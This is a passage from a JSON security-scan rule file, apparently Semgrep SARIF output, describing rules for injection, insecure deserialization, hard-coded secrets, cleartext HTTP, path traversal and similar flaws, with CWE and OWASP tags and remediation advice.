Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request)\n - [https://openjdk.java.net/groups/net/httpclient/intro.html](https://openjdk.java.net/groups/net/httpclient/intro.html)\n","text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath","id":"java.micronaut.xpath.tainted-xpath.tainted-xpath","name":"java.micronaut.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","id":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","name":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","id":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","name":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"help":{"markdown":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8)\n","text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencrypted request over HTTP detected."},"help":{"markdown":"Unencrypted request over HTTP detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n","text":"Unencrypted request over HTTP detected."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-insecure-request.react-insecure-request","id":"typescript.react.security.react-insecure-request.react-insecure-request","name":"typescript.react.security.react-insecure-request.react-insecure-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-insecure-request.react-insecure-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n - [https://www.npmjs.com/package/mysql](https://www.npmjs.com/package/mysql)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected a `$IMPORT` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","id":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","name":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside 'open'. Audit the input to 'open'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open.dangerous-open","id":"ruby.lang.security.dangerous-open.dangerous-open","name":"ruby.lang.security.dangerous-open.dangerous-open","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open.dangerous-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","id":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","name":"python.lang.deserialization.tainted-pyyaml.tainted-pyyaml","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pyyaml.tainted-pyyaml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","id":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","name":"terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy-ssoadmin.aws-iam-admin-policy-ssoadmin"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","id":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","name":"python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.urllib3.python-urllib3-hardcoded-secret.python-urllib3-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"help":{"markdown":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure HostnameVerifier implementation detected. This will accept any SSL certificate with any hostname, which creates the possibility for man-in-the-middle attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","id":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","name":"java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-hostname-verifier.insecure-hostname-verifier"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"help":{"markdown":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"If TLS is disabled on server side (Postgresql server), Sequelize establishes connection without TLS and no error will be thrown. To prevent MITN (Man In The Middle) attack, TLS must be enforce by Sequelize. Set \"ssl: true\" or define settings \"ssl: {...}\""},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","id":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","name":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"help":{"markdown":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"The AWS configuration aggregator does not aggregate all AWS Config region. This may result in unmonitored configuration in regions that are thought to be unused. Configure the aggregator with all_regions for the source."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","id":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","name":"terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-config-aggregator-not-all-regions.aws-config-aggregator-not-all-regions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","id":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","name":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","id":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","name":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string","id":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","name":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval-format-string.user-eval-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"help":{"markdown":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)\n","text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","id":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","name":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access 